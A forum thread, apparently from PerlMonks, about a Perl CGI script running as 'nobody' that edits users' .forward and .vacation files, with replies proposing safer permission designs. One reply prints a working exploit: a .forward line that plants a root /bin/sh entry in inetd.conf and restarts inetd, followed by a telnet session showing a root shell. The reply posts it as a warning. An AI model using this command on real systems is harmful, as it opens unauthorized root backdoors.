Beware he be dragons ;-) sudo and other methods for changing your effective uid (particularly in a script) are tres dangerous and open to exploits. I see the following issues:
- If someone with malevolent intent were to get write access to that script (not as hard as you may expect) they would have the right to run riot on your filesystem.
- Sudo requires permission to be given to a specific user to call it, now do you really want to blindly give permission to nobody (created to have no permissions) direct access to root?
- Sudo requires a password to be entered nobody typically has no password and no shell as it is not an account for someone to log in as.
- Sudo is inherently interactive, it opens /dev/tty (or equiv) to read the password this will make noninteractive usage difficult
OK so those are the reasons that sudo are bad ;-) the best way is to look at what you want to do and sort that. If all you want to do it manipulate the .forward and .vacation.msg files then chgrp them to something nice, change the permission to give write permission for that group for those files. Ensure nobody is in that group and bingo!! This is still not nice but it is less not nice.
--
Zigster | [reply] |
Two possible solutions (beyond the one provided already):
If you are on some unix systems where user directories are owned by "<username>.users", you can add the user of the perl script to 'users', and they then should have access to the directories. However, such a practice is becoming passe since any member of users may have access, though one can set up rather restrictive file permissions. Also, if you do this, try to avoid using 'nobody' as the script owner because this is the second most common target for crackers to try to get into because of the power the 'nobody' account can have on some systems.
A better solution is to create a director outside of the standard userspace that your script owner can read/write to, then have the users link their .forward/.vacation files to this area (Though, I cannot remember OOTOMH if just the existence of these files, or having valid contents, is necessary to trip the appropriate mailer actions).
I still like the idea that this probably can easily be run by the user themselves, and thus prevent the standard problems of file permissions.
| [reply] |
This is a better solution. I have a procmail script for each user
that is enabled to do this, and I'll simply add a forward
recipe to it ... and forget the .forward file (on my system,
.forward takes precedence over .procmailrc). Then, I can
write the forward & vacation procmail recipes to an area that
can be written by the script. Much safer.
| [reply] |
Mayhaps the script in question is running as a CGI, under Apache? In which case you might want to check out suEXEC (other web servers have similar mechanisms, IIRC). I, too, wonder why you would need the sort of scheme you're describing unless it were something like this (if the user runs the script, the script can do anything the user has permissions to do).
Philosophy can be made out of anything. Or less -- Jerry A. Fodor
| [reply] |
What do you mean by 'perl script running as "nobody"'?
Do you have a daemon?
If not, and this is just a script on the system (owned by user nobody)
then there shuoldn't be any problem as users that run it
have their own user id and there is no need for extra care. | [reply] |
All my perl scripts are owned by "nobody". Users are running this particular
script from the webserver (Apache).
| [reply] |
This is pretty scary. While you could do something like this with a suid C wrapper, what if i (evil malicious user) added the following lines to root's .forward file: "exec echo vboxd stream tcp nowait root /usr/sbin/tcpd /bi
+n/sh >> /etc/inetd.conf && kill -HUP `cat /var/run/inet.pid` && echo
+> /root/.forward"
Then i send an email to root, and i have a root shell listening on port 20012:
jed:~$ telnet guinness 20012
Trying x.x.x.x...
Connected to guinness
Escape character is '^]'.
echo $UID
0
echo $PWD
/
This is a bad thing. and exploits like this have been around for a while, since mail blindly executes the .forward / .vacation files. The best bet is to use the forwarding/vacation mechanism in your mail server itself.
You could make your aliases(5) file writable by your httpd process. Or even better, the cgi could just dump it's output to some flat file somewhere, where a cronjob (which runs every five minutes) would parse it, do some reality checking on the data, and then decide whether or not to proceed from there.
Sorry for the rant (and the non-perl related post), but .forward files are such a huge security hole.
BlueLines
Disclaimer: This post may contain inaccurate information, be habit forming, cause atomic warfare between peaceful countries, speed up male pattern baldness, interfere with your cable reception, exile you from certain third world countries, ruin your marriage, and generally spoil your day. No batteries included, no strings attached, your mileage may vary. | [reply]
[d/l]
[select] |